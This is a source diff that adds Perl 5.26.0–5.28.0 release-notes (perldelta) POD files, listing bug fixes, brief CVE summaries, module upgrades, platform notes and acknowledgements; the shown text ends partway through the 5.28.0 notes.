+L<[perl #128170]|https://rt.perl.org/Public/Bug/Display.html?id=128170>
+
+=item *
+
+C< until ($x = 1) { ... } > and C< ... until $x = 1 > now properly
+warn when syntax warnings are enabled.
+L<[perl #127333]|https://rt.perl.org/Public/Bug/Display.html?id=127333>
+
+=item *
+
+socket() now leaves the error code returned by the system in C<$!> on
+failure.
+L<[perl #128316]|https://rt.perl.org/Public/Bug/Display.html?id=128316>
+
+=item *
+
+Assignment variants of any bitwise ops under the C<bitwise> feature would
+crash if the left-hand side was an array or hash.
+L<[perl #128204]|https://rt.perl.org/Public/Bug/Display.html?id=128204>
+
+=item *
+
+C<require> followed by a single colon (as in C<foo() ? require : ...> is
+now parsed correctly as C<require> with implicit C<$_>, rather than
+C<require "">.
+L<[perl #128307]|https://rt.perl.org/Public/Bug/Display.html?id=128307>
+
+=item *
+
+Scalar C<keys %hash> can now be assigned to consistently in all scalar
+lvalue contexts. Previously it worked for some contexts but not others.
+
+=item *
+
+List assignment to C<vec> or C<substr> with an array or hash for its first
+argument used to result in crashes or "Can't coerce" error messages at run
+time, unlike scalar assignment, which would give an error at compile time.
+List assignment now gives a compile-time error, too.
+L<[perl #128260]|https://rt.perl.org/Public/Bug/Display.html?id=128260>
+
+=item *
+
+Expressions containing an C<&&> or C<||> operator (or their synonyms C<and>
+and C<or>) were being compiled incorrectly in some cases. If the left-hand
+side consisted of either a negated bareword constant or a negated C<do {}>
+block containing a constant expression, and the right-hand side consisted of
+a negated non-foldable expression, one of the negations was effectively
+ignored. The same was true of C<if> and C<unless> statement modifiers,
+though with the left-hand and right-hand sides swapped. This long-standing
+bug has now been fixed.
+L<[perl #127952]|https://rt.perl.org/Public/Bug/Display.html?id=127952>
+
+=item *
+
+C<reset> with an argument no longer crashes when encountering stash entries
+other than globs.
+L<[perl #128106]|https://rt.perl.org/Public/Bug/Display.html?id=128106>
+
+=item *
+
+Assignment of hashes to, and deletion of, typeglobs named C<*::::::> no
+longer causes crashes.
+L<[perl #128086]|https://rt.perl.org/Public/Bug/Display.html?id=128086>
+
+=item *
+
+Perl wasn't correctly handling true/false values in the LHS of a list
+assign; specifically the truth values returned by boolean operators.
+This could trigger an assertion failure in something like the following:
+
+ for ($x > $y) {
+ ($_, ...) = (...); # here $_ is aliased to a truth value
+ }
+
+This was a regression from v5.24.
+L<[perl #129991]|https://rt.perl.org/Public/Bug/Display.html?id=129991>
+
+=item *
+
+Assertion failure with user-defined Unicode-like properties.
+L<[perl #130010]|https://rt.perl.org/Public/Bug/Display.html?id=130010>
+
+=item *
+
+Fix error message for unclosed C<\N{> in a regex. An unclosed C<\N{>
+could give the wrong error message:
+C<"\N{NAME} must be resolved by the lexer">.
+
+=item *
+
+List assignment in list context where the LHS contained aggregates and
+where there were not enough RHS elements, used to skip scalar lvalues.
+Previously, C<(($a,$b,@c,$d) = (1))> in list context returned C<($a)>; now
+it returns C<($a,$b,$d)>. C<(($a,$b,$c) = (1))> is unchanged: it still
+returns C<($a,$b,$c)>. This can be seen in the following:
+
+ sub inc { $_++ for @_ }
+ inc(($a,$b,@c,$d) = (10))
+
+Formerly, the values of C<($a,$b,$d)> would be left as C<(11,undef,undef)>;
+now they are C<(11,1,1)>.
+
+=item *
+
+Code like this: C</(?{ s!!! })/> could trigger infinite recursion on the C
+stack (not the normal perl stack) when the last successful pattern in
+scope is itself. We avoid the segfault by simply forbidding the use of
+the empty pattern when it would resolve to the currently executing
+pattern.
+L<[perl #129903]|https://rt.perl.org/Public/Bug/Display.html?id=129903>
+
+=item *
+
+Avoid reading beyond the end of the line buffer in perl's lexer when
+there's a short UTF-8 character at the end.
+L<[perl #128997]|https://rt.perl.org/Public/Bug/Display.html?id=128997>
+
+=item *
+
+Alternations in regular expressions were sometimes failing to match
+a utf8 string against a utf8 alternate.
+L<[perl #129950]|https://rt.perl.org/Public/Bug/Display.html?id=129950>
+
+=item *
+
+Make C<do "a\0b"> fail silently (and return C<undef> and set C<$!>)
+instead of throwing an error.
+L<[perl #129928]|https://rt.perl.org/Public/Bug/Display.html?id=129928>
+
+=item *
+
+C<chdir> with no argument didn't ensure that there was stack space
+available for returning its result.
+L<[perl #129130]|https://rt.perl.org/Public/Bug/Display.html?id=129130>
+
+=item *
+
+All error messages related to C<do> now refer to C<do>; some formerly
+claimed to be from C<require> instead.
+
+=item *
+
+Executing C<undef $x> where C<$x> is tied or magical no longer incorrectly
+blames the variable for an uninitialized-value warning encountered by the
+tied/magical code.
+
+=item *
+
+Code like C<$x = $x . "a"> was incorrectly failing to yield a
+L<use of uninitialized value|perldiag/"Use of uninitialized value%s">
+warning when C<$x> was a lexical variable with an undefined value. That has
+now been fixed.
+L<[perl #127877]|https://rt.perl.org/Public/Bug/Display.html?id=127877>
+
+=item *
+
+C<undef *_; shift> or C<undef *_; pop> inside a subroutine, with no
+argument to C<shift> or C<pop>, began crashing in Perl 5.14, but has now
+been fixed.
+
+=item *
+
+C<< "string$scalar-E<gt>$*" >> now correctly prefers concatenation
+overloading to string overloading if C<< $scalar-E<gt>$* >> returns an
+overloaded object, bringing it into consistency with C<$$scalar>.
+
+=item *
+
+C<< /@0{0*-E<gt>@*/*0 >> and similar contortions used to crash, but no longer
+do, but merely produce a syntax error.
+L<[perl #128171]|https://rt.perl.org/Public/Bug/Display.html?id=128171>
+
+=item *
+
+C<do> or C<require> with an argument which is a reference or typeglob
+which, when stringified,
+contains a null character, started crashing in Perl 5.20, but has now been
+fixed.
+L<[perl #128182]|https://rt.perl.org/Public/Bug/Display.html?id=128182>
+
+=item *
+
+Improve the error message for a missing C<tie()> package/method. This
+brings the error messages in line with the ones used for normal method
+calls.
+
+=item *
+
+Parsing bad POSIX charclasses no longer leaks memory.
+L<[perl #128313]|https://rt.perl.org/Public/Bug/Display.html?id=128313>
+
+=back
+
+=head1 Known Problems
+
+=over 4
+
+=item *
+
+G++ 6 handles subnormal (denormal) floating point values differently
+than gcc 6 or g++ 5 resulting in "flush-to-zero". The end result is
+that if you specify very small values using the hexadecimal floating
+point format, like C<0x1.fffffffffffffp-1022>, they become zeros.
+L<[perl #131388]|https://rt.perl.org/Ticket/Display.html?id=131388>
+
+=back
+
+=head1 Errata From Previous Releases
+
+=over 4
+
+=item *
+
+Fixed issues with recursive regexes. The behavior was fixed in Perl 5.24.
+L<[perl #126182]|https://rt.perl.org/Public/Bug/Display.html?id=126182>
+
+=back
+
+=head1 Obituary
+
+Jon Portnoy (AVENJ), a prolific Perl author and admired Gentoo community
+member, has passed away on August 10, 2016. He will be remembered and
+missed by all those who he came in contact with, and enriched with his
+intellect, wit, and spirit.
+
+It is with great sadness that we also note Kip Hampton's passing. Probably
+best known as the author of the Perl & XML column on XML.com, he was a
+core contributor to AxKit, an XML server platform that became an Apache
+Foundation project. He was a frequent speaker in the early days at
+OSCON, and most recently at YAPC::NA in Madison. He was frequently on
+irc.perl.org as ubu, generally in the #axkit-dahut community, the
+group responsible for YAPC::NA Asheville in 2011.
+
+Kip and his constant contributions to the community will be greatly
+missed.
+
+=head1 Acknowledgements
+
+Perl 5.26.0 represents approximately 13 months of development since Perl 5.24.0
+and contains approximately 360,000 lines of changes across 2,600 files from 86
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 230,000 lines of changes to 1,800 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers. The following people are known to have contributed the
+improvements that became Perl 5.26.0:
+
+Aaron Crane, Abigail, Ævar Arnfjörð Bjarmason, Alex Vandiver, Andreas
+König, Andreas Voegele, Andrew Fresh, Andy Lester, Aristotle Pagaltzis, Chad
+Granum, Chase Whitener, Chris 'BinGOs' Williams, Chris Lamb, Christian Hansen,
+Christian Millour, Colin Newell, Craig A. Berry, Dagfinn Ilmari Mannsåker, Dan
+Collins, Daniel Dragan, Dave Cross, Dave Rolsky, David Golden, David H.
+Gutteridge, David Mitchell, Dominic Hargreaves, Doug Bell, E. Choroba, Ed Avis,
+Father Chrysostomos, François Perrad, Hauke D, H.Merijn Brand, Hugo van der
+Sanden, Ivan Pozdeev, James E Keenan, James Raspass, Jarkko Hietaniemi, Jerry
+D. Hedden, Jim Cromie, J. Nick Koston, John Lightsey, Karen Etheridge, Karl
+Williamson, Leon Timmermans, Lukas Mai, Matthew Horsfall, Maxwell Carey, Misty
+De Meo, Neil Bowers, Nicholas Clark, Nicolas R., Niko Tyni, Pali, Paul
+Marquess, Peter Avalos, Petr Písař, Pino Toscano, Rafael Garcia-Suarez, Reini
+Urban, Renee Baecker, Ricardo Signes, Richard Levitte, Rick Delaney, Salvador
+Fandiño, Samuel Thibault, Sawyer X, Sébastien Aperghis-Tramoni, Sergey
+Aleynikov, Shlomi Fish, Smylers, Stefan Seifert, Steffen Müller, Stevan
+Little, Steve Hay, Steven Humphrey, Sullivan Beck, Theo Buehler, Thomas Sibley,
+Todd Rinaldo, Tomasz Konojacki, Tony Cook, Unicode Consortium, Yaroslav Kuzmin,
+Yves Orton, Zefram.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history. In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core. We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the perl bug database at
+L<https://rt.perl.org/>. There may also be information at
+L<http://www.perl.org/>, the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release. Be sure to trim your bug down to a tiny but
+sufficient test case. Your bug report, along with the output of C<perl -V>,
+will be sent off to C<perlbug@perl.org> to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION>
+for details of how to report the issue.
+
+=head1 Give Thanks
+
+If you wish to thank the Perl 5 Porters for the work we had done in Perl 5,
+you can do so by running the C<perlthanks> program:
+
+ perlthanks
+
+This will send an email to the Perl 5 Porters list with your show of thanks.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut
diff --git a/gnu/usr.bin/perl/pod/perl5261delta.pod b/gnu/usr.bin/perl/pod/perl5261delta.pod
new file mode 100644
index 00000000000..227fc6e39f6
--- /dev/null
+++ b/gnu/usr.bin/perl/pod/perl5261delta.pod
@@ -0,0 +1,247 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5261delta - what is new for perl v5.26.1
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.26.0 release and the 5.26.1
+release.
+
+If you are upgrading from an earlier release such as 5.24.0, first read
+L<perl5260delta>, which describes differences between 5.24.0 and 5.26.0.
+
+=head1 Security
+
+=head2 [CVE-2017-12837] Heap buffer overflow in regular expression compiler
+
+Compiling certain regular expression patterns with the case-insensitive
+modifier could cause a heap buffer overflow and crash perl. This has now been
+fixed.
+L<[perl #131582]|https://rt.perl.org/Public/Bug/Display.html?id=131582>
+
+=head2 [CVE-2017-12883] Buffer over-read in regular expression parser
+
+For certain types of syntax error in a regular expression pattern, the error
+message could either contain the contents of a random, possibly large, chunk of
+memory, or could crash perl. This has now been fixed.
+L<[perl #131598]|https://rt.perl.org/Public/Bug/Display.html?id=131598>
+
+=head2 [CVE-2017-12814] C<$ENV{$key}> stack buffer overflow on Windows
+
+A possible stack buffer overflow in the C<%ENV> code on Windows has been fixed
+by removing the buffer completely since it was superfluous anyway.
+L<[perl #131665]|https://rt.perl.org/Public/Bug/Display.html?id=131665>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.26.0. If any exist,
+they are bugs, and we request that you submit a report. See L</Reporting
+Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<base> has been upgraded from version 2.25 to 2.26.
+
+The effects of dotless C<@INC> on this module have been limited by the
+introduction of a more refined and accurate solution for removing C<'.'> from
+C<@INC> while reducing the false positives.
+
+=item *
+
+L<charnames> has been upgraded from version 1.44 to 1.45.
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170530 to 5.20170922_26.
+
+=back
+
+=head1 Platform Support
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item FreeBSD
+
+=over 4
+
+=item *
+
+Building with B<g++> on FreeBSD-11.0 has been fixed.
+L<[perl #131337]|https://rt.perl.org/Public/Bug/Display.html?id=131337>
+
+=back
+
+=item Windows
+
+=over 4
+
+=item *
+
+Support for compiling perl on Windows using Microsoft Visual Studio 2017
+(containing Visual C++ 14.1) has been added.
+
+=item *
+
+Building XS modules with GCC 6 in a 64-bit build of Perl failed due to
+incorrect mapping of C<strtoll> and C<strtoull>. This has now been fixed.
+L<[perl #131726]|https://rt.perl.org/Public/Bug/Display.html?id=131726>
+L<[cpan #121683]|https://rt.cpan.org/Public/Bug/Display.html?id=121683>
+L<[cpan #122353]|https://rt.cpan.org/Public/Bug/Display.html?id=122353>
+
+=back
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+Several built-in functions previously had bugs that could cause them to write
+to the internal stack without allocating room for the item being written. In
+rare situations, this could have led to a crash. These bugs have now been
+fixed, and if any similar bugs are introduced in future, they will be detected
+automatically in debugging builds.
+L<[perl #131732]|https://rt.perl.org/Public/Bug/Display.html?id=131732>
+
+=item *
+
+Using a symbolic ref with postderef syntax as the key in a hash lookup was
+yielding an assertion failure on debugging builds.
+L<[perl #131627]|https://rt.perl.org/Public/Bug/Display.html?id=131627>
+
+=item *
+
+List assignment (C<aassign>) could in some rare cases allocate an entry on the
+mortal stack and leave the entry uninitialized.
+L<[perl #131570]|https://rt.perl.org/Public/Bug/Display.html?id=131570>
+
+=item *
+
+Attempting to apply an attribute to an C<our> variable where a function of that
+name already exists could result in a NULL pointer being supplied where an SV
+was expected, crashing perl.
+L<[perl #131597]|https://rt.perl.org/Public/Bug/Display.html?id=131597>
+
+=item *
+
+The code that vivifies a typeglob out of a code ref made some false assumptions
+that could lead to a crash in cases such as C<< $::{"A"} = sub {}; \&{"A"} >>.
+This has now been fixed.
+L<[perl #131085]|https://rt.perl.org/Public/Bug/Display.html?id=131085>
+
+=item *
+
+C<my_atof2> no longer reads beyond the terminating NUL, which previously
+occurred if the decimal point is immediately before the NUL.
+L<[perl #131526]|https://rt.perl.org/Public/Bug/Display.html?id=131526>
+
+=item *
+
+Occasional "Malformed UTF-8 character" crashes in C<s//> on utf8 strings have
+been fixed.
+L<[perl #131575]|https://rt.perl.org/Public/Bug/Display.html?id=131575>
+
+=item *
+
+C<perldoc -f s> now finds C<s///>.
+L<[perl #131371]|https://rt.perl.org/Public/Bug/Display.html?id=131371>
+
+=item *
+
+Some erroneous warnings after utf8 conversion have been fixed.
+L<[perl #131190]|https://rt.perl.org/Public/Bug/Display.html?id=131190>
+
+=item *
+
+The C<jmpenv> frame to catch Perl exceptions is set up lazily, and this used to
+be a bit too lazy. The catcher is now set up earlier, preventing some possible
+crashes.
+L<[perl #105930]|https://rt.perl.org/Public/Bug/Display.html?id=105930>
+
+=item *
+
+Spurious "Assuming NOT a POSIX class" warnings have been removed.
+L<[perl #131522]|https://rt.perl.org/Public/Bug/Display.html?id=131522>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.26.1 represents approximately 4 months of development since Perl 5.26.0
+and contains approximately 8,900 lines of changes across 85 files from 23
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 990 lines of changes to 38 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers. The following people are known to have contributed
+the improvements that became Perl 5.26.1:
+
+Aaron Crane, Andy Dougherty, Aristotle Pagaltzis, Chris 'BinGOs' Williams,
+Craig A. Berry, Dagfinn Ilmari Mannsåker, David Mitchell, E. Choroba, Eric
+Herman, Father Chrysostomos, Jacques Germishuys, James E Keenan, John SJ
+Anderson, Karl Williamson, Ken Brown, Lukas Mai, Matthew Horsfall, Ricardo
+Signes, Sawyer X, Steve Hay, Tony Cook, Yves Orton, Zefram.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history. In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core. We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the perl bug database
+at L<https://rt.perl.org/> . There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release. Be sure to trim your bug down to a tiny but
+sufficient test case. Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug@perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION> for details of how to
+report the issue.
+
+=head1 Give Thanks
+
+If you wish to thank the Perl 5 Porters for the work we had done in Perl 5, you
+can do so by running the C<perlthanks> program:
+
+ perlthanks
+
+This will send an email to the Perl 5 Porters list with your show of thanks.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut
diff --git a/gnu/usr.bin/perl/pod/perl5262delta.pod b/gnu/usr.bin/perl/pod/perl5262delta.pod
new file mode 100644
index 00000000000..5e528ea89f8
--- /dev/null
+++ b/gnu/usr.bin/perl/pod/perl5262delta.pod
@@ -0,0 +1,245 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5262delta - what is new for perl v5.26.2
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.26.1 release and the 5.26.2
+release.
+
+If you are upgrading from an earlier release such as 5.26.0, first read
+L<perl5261delta>, which describes differences between 5.26.0 and 5.26.1.
+
+=head1 Security
+
+=head2 [CVE-2018-6797] heap-buffer-overflow (WRITE of size 1) in S_regatom (regcomp.c)
+
+A crafted regular expression could cause a heap buffer write overflow, with
+control over the bytes written.
+L<[perl #132227]|https://rt.perl.org/Public/Bug/Display.html?id=132227>
+
+=head2 [CVE-2018-6798] Heap-buffer-overflow in Perl__byte_dump_string (utf8.c)
+
+Matching a crafted locale dependent regular expression could cause a heap
+buffer read overflow and potentially information disclosure.
+L<[perl #132063]|https://rt.perl.org/Public/Bug/Display.html?id=132063>
+
+=head2 [CVE-2018-6913] heap-buffer-overflow in S_pack_rec
+
+C<pack()> could cause a heap buffer write overflow with a large item count.
+L<[perl #131844]|https://rt.perl.org/Public/Bug/Display.html?id=131844>
+
+=head2 Assertion failure in Perl__core_swash_init (utf8.c)
+
+Control characters in a supposed Unicode property name could cause perl to
+crash. This has been fixed.
+L<[perl #132055]|https://rt.perl.org/Public/Bug/Display.html?id=132055>
+L<[perl #132553]|https://rt.perl.org/Public/Bug/Display.html?id=132553>
+L<[perl #132658]|https://rt.perl.org/Public/Bug/Display.html?id=132658>
+
+=head1 Incompatible Changes
+
+There are no changes intentionally incompatible with 5.26.1. If any exist,
+they are bugs, and we request that you submit a report. See L</Reporting
+Bugs> below.
+
+=head1 Modules and Pragmata
+
+=head2 Updated Modules and Pragmata
+
+=over 4
+
+=item *
+
+L<Module::CoreList> has been upgraded from version 5.20170922_26 to 5.20180414_26.
+
+=item *
+
+L<PerlIO::via> has been upgraded from version 0.16 to 0.17.
+
+=item *
+
+L<Term::ReadLine> has been upgraded from version 1.16 to 1.17.
+
+=item *
+
+L<Unicode::UCD> has been upgraded from version 0.68 to 0.69.
+
+=back
+
+=head1 Documentation
+
+=head2 Changes to Existing Documentation
+
+=head3 L<perluniprops>
+
+=over 4
+
+=item *
+
+This has been updated to note that C<\p{Word}> now includes code points
+matching the C<\p{Join_Control}> property. The change to the property was made
+in Perl 5.18, but not documented until now. There are currently only two code
+points that match this property: U+200C (ZERO WIDTH NON-JOINER) and U+200D
+(ZERO WIDTH JOINER).
+
+=back
+
+=head1 Platform Support
+
+=head2 Platform-Specific Notes
+
+=over 4
+
+=item Windows
+
+Visual C++ compiler version detection has been improved to work on non-English
+language systems.
+L<[perl #132421]|https://rt.perl.org/Public/Bug/Display.html?id=132421>
+
+We now set C<$Config{libpth}> correctly for 64-bit builds using Visual C++
+versions earlier than 14.1.
+L<[perl #132484]|https://rt.perl.org/Public/Bug/Display.html?id=132484>
+
+=back
+
+=head1 Selected Bug Fixes
+
+=over 4
+
+=item *
+
+The C<readpipe()> built-in function now checks at compile time that it has only
+one parameter expression, and puts it in scalar context, thus ensuring that it
+doesn't corrupt the stack at runtime.
+L<[perl #4574]|https://rt.perl.org/Public/Bug/Display.html?id=4574>
+
+=item *
+
+Fixed a use after free bug in C<pp_list> introduced in Perl 5.27.1.
+L<[perl #131954]|https://rt.perl.org/Public/Bug/Display.html?id=131954>
+
+=item *
+
+Parsing a C<sub> definition could cause a use after free if the C<sub> keyword
+was followed by whitespace including newlines (and comments).
+L<[perl #131836]|https://rt.perl.org/Public/Bug/Display.html?id=131836>
+
+=item *
+
+The tokenizer now correctly adjusts a parse pointer when skipping whitespace in
+an C< ${identifier} > construct.
+L<[perl #131949]|https://rt.perl.org/Public/Bug/Display.html?id=131949>
+
+=item *
+
+Accesses to C<${^LAST_FH}> no longer assert after using any of a variety of I/O
+operations on a non-glob.
+L<[perl #128263]|https://rt.perl.org/Public/Bug/Display.html?id=128263>
+
+=item *
+
+C<sort> now performs correct reference counting when aliasing C<$a> and C<$b>,
+thus avoiding premature destruction and leakage of scalars if they are
+re-aliased during execution of the sort comparator.
+L<[perl #92264]|https://rt.perl.org/Public/Bug/Display.html?id=92264>
+
+=item *
+
+Some convoluted kinds of regexp no longer cause an arithmetic overflow when
+compiled.
+L<[perl #131893]|https://rt.perl.org/Public/Bug/Display.html?id=131893>
+
+=item *
+
+Fixed a duplicate symbol failure with B<-flto -mieee-fp> builds. F<pp.c>
+defined C<_LIB_VERSION> which B<-lieee> already defines.
+L<[perl #131786]|https://rt.perl.org/Public/Bug/Display.html?id=131786>
+
+=item *
+
+A NULL pointer dereference in the C<S_regmatch()> function has been fixed.
+L<[perl #132017]|https://rt.perl.org/Public/Bug/Display.html?id=132017>
+
+=item *
+
+Failures while compiling code within other constructs, such as with string
+interpolation and the right part of C<s///e> now cause compilation to abort
+earlier.
+
+Previously compilation could continue in order to report other errors, but the
+failed sub-parse could leave partly parsed constructs on the parser
+shift-reduce stack, confusing the parser, leading to perl crashes.
+L<[perl #125351]|https://rt.perl.org/Public/Bug/Display.html?id=125351>
+
+=back
+
+=head1 Acknowledgements
+
+Perl 5.26.2 represents approximately 7 months of development since Perl 5.26.1
+and contains approximately 3,300 lines of changes across 82 files from 17
+authors.
+
+Excluding auto-generated files, documentation and release tools, there were
+approximately 1,800 lines of changes to 36 .pm, .t, .c and .h files.
+
+Perl continues to flourish into its third decade thanks to a vibrant community
+of users and developers. The following people are known to have contributed
+the improvements that became Perl 5.26.2:
+
+Aaron Crane, Abigail, Chris 'BinGOs' Williams, H.Merijn Brand, James E Keenan,
+Jarkko Hietaniemi, John SJ Anderson, Karen Etheridge, Karl Williamson, Lukas
+Mai, Renee Baecker, Sawyer X, Steve Hay, Todd Rinaldo, Tony Cook, Yves Orton,
+Zefram.
+
+The list above is almost certainly incomplete as it is automatically generated
+from version control history. In particular, it does not include the names of
+the (very much appreciated) contributors who reported issues to the Perl bug
+tracker.
+
+Many of the changes included in this version originated in the CPAN modules
+included in Perl's core. We're grateful to the entire CPAN community for
+helping Perl to flourish.
+
+For a more complete list of all of Perl's historical contributors, please see
+the F<AUTHORS> file in the Perl source distribution.
+
+=head1 Reporting Bugs
+
+If you find what you think is a bug, you might check the perl bug database
+at L<https://rt.perl.org/> . There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
+
+If you believe you have an unreported bug, please run the L<perlbug> program
+included with your release. Be sure to trim your bug down to a tiny but
+sufficient test case. Your bug report, along with the output of C<perl -V>,
+will be sent off to perlbug@perl.org to be analysed by the Perl porting team.
+
+If the bug you are reporting has security implications which make it
+inappropriate to send to a publicly archived mailing list, then see
+L<perlsec/SECURITY VULNERABILITY CONTACT INFORMATION>
+for details of how to report the issue.
+
+=head1 Give Thanks
+
+If you wish to thank the Perl 5 Porters for the work we had done in Perl 5,
+you can do so by running the C<perlthanks> program:
+
+ perlthanks
+
+This will send an email to the Perl 5 Porters list with your show of thanks.
+
+=head1 SEE ALSO
+
+The F<Changes> file for an explanation of how to view exhaustive details on
+what changed.
+
+The F<INSTALL> file for how to build Perl.
+
+The F<README> file for general stuff.
+
+The F<Artistic> and F<Copying> files for copyright information.
+
+=cut
diff --git a/gnu/usr.bin/perl/pod/perl5280delta.pod b/gnu/usr.bin/perl/pod/perl5280delta.pod
new file mode 100644
index 00000000000..0ecd260ca5a
--- /dev/null
+++ b/gnu/usr.bin/perl/pod/perl5280delta.pod
@@ -0,0 +1,2438 @@
+=encoding utf8
+
+=head1 NAME
+
+perl5280delta - what is new for perl v5.28.0
+
+=head1 DESCRIPTION
+
+This document describes differences between the 5.26.0 release and the 5.28.0
+release.
+
+If you are upgrading from an earlier release such as 5.24.0, first read
+L<perl5260delta>, which describes differences between 5.24.0 and 5.26.0.
+
+=head1 Core Enhancements
+
+=head2 Unicode 10.0 is supported
+
+A list of changes is at
+L<http://www.unicode.org/versions/Unicode10.0.0>.
+
+=head2 L<C<delete>|perlfunc/delete EXPR> on key/value hash slices
+
+L<C<delete>|perlfunc/delete EXPR> can now be used on
+L<keyE<sol>value hash slices|perldata/KeyE<sol>Value Hash Slices>,
+returning the keys along with the deleted values.
+L<[perl #131328]|https://rt.perl.org/Ticket/Display.html?id=131328>
+
+=head2 Experimentally, there are now alphabetic synonyms for some regular expression assertions
+
+If you find it difficult to remember how to write certain of the pattern
+assertions, there are now alphabetic synonyms.
+
+ CURRENT NEW SYNONYMS
+ ------ ------------
+ (?=...) (*pla:...) or (*positive_lookahead:...)
+ (?!...) (*nla:...) or (*negative_lookahead:...)
+ (?<=...) (*plb:...) or (*positive_lookbehind:...)
+ (?<!...) (*nlb:...) or (*negative_lookbehind:...)
+ (?>...) (*atomic:...)
+
+These are considered experimental, so using any of these will raise
+(unless turned off) a warning in the C<experimental::alpha_assertions>
+category.
+
+=head2 Mixed Unicode scripts are now detectable
+
+A mixture of scripts, such as Cyrillic and Latin, in a string is often
+the sign of a spoofing attack. A new regular expression construct
+now allows for easy detection of these. For example, you can say
+
+ qr/(*script_run: \d+ \b )/x
+
+And the digits matched will all be from the same set of 10. You won't
+get a look-alike digit from a different script that has a different
+value than what it appears to be.
+
+Or:
+
+ qr/(*sr: \b \w+ \b )/x
+
+makes sure that all the characters come from the same script.
+
+You can also combine script runs with C<(?E<gt>...)> (or
+C<*atomic:...)>).
+
+Instead of writing:
+
+ (*sr:(?<...))
+
+you can now run:
+
+ (*asr:...)
+ # or
+ (*atomic_script_run:...)
+
+This is considered experimental, so using it will raise (unless turned
+off) a warning in the C<experimental::script_run> category.
+
+See L<perlre/Script Runs>.
+
+=head2 In-place editing with C<perl -i> is now safer
+
+Previously in-place editing (C<perl -i>) would delete or rename the
+input file as soon as you started working on a new file.
+
+Without backups this would result in loss of data if there was an
+error, such as a full disk, when writing to the output file.
+
+This has changed so that the input file isn't replaced until the
+output file has been completely written and successfully closed.
+
+This works by creating a work file in the same directory, which is
+renamed over the input file once the output file is complete.
+
+Incompatibilities:
+
+=over
+
+=item *
+
+Since this renaming needs to only happen once, if you create a thread
+or child process, that renaming will only happen in the original
+thread or process.
+
+=item *
+
+If you change directories while processing a file, and your operating
+system doesn't provide the C<unlinkat()>, C<renameat()> and C<fchmodat()>
+functions, the final rename step may fail.
+
+=back
+
+L<[perl #127663]|https://rt.perl.org/Public/Bug/Display.html?id=127663>
+
+=head2 Initialisation of aggregate state variables
+
+A persistent lexical array or hash variable can now be initialized,
+by an expression such as C<state @a = qw(x y z)>. Initialization of a
+list of persistent lexical variables is still not possible.
+
+=head2 Full-size inode numbers
+
+On platforms where inode numbers are of a type larger than perl's native
+integer numerical types, L<stat|perlfunc/stat> will preserve the full
+content of large inode numbers by returning them in the form of strings of
+decimal digits. Exact comparison of inode numbers can thus be achieved by
+comparing with C<eq> rather than C<==>. Comparison with C<==>, and other
+numerical operations (which are usually meaningless on inode numbers),
+work as well as they did before, which is to say they fall back to
+floating point, and ultimately operate on a fairly useless rounded inode
+number if the real inode number is too big for the floating point format.
+
+=head2 The C<sprintf> C<%j> format size modifier is now available with pre-C99 compilers
+
+The actual size used depends on the platform, so remains unportable.
+
+=head2 Close-on-exec flag set atomically
+
+When opening a file descriptor, perl now generally opens it with its
+close-on-exec flag already set, on platforms that support doing so.
+This improves thread safety, because it means that an C<exec> initiated
+by one thread can no longer cause a file descriptor in the process
+of being opened by another thread to be accidentally passed to the
+executed program.
+
+Additionally, perl now sets the close-on-exec flag more reliably, whether
+it does so atomically or not. Most file descriptors were getting the
+flag set, but some were being missed.
+
+=head2 String- and number-specific bitwise ops are no longer experimental
+
+The new string-specific (C<&. |. ^. ~.>) and number-specific (C<& | ^ ~>)
+bitwise operators introduced in Perl 5.22 that are available within the
+scope of C<use feature 'bitwise'> are no longer experimental.
+Because the number-specific ops are spelled the same way as the existing
+operators that choose their behaviour based on their operands, these
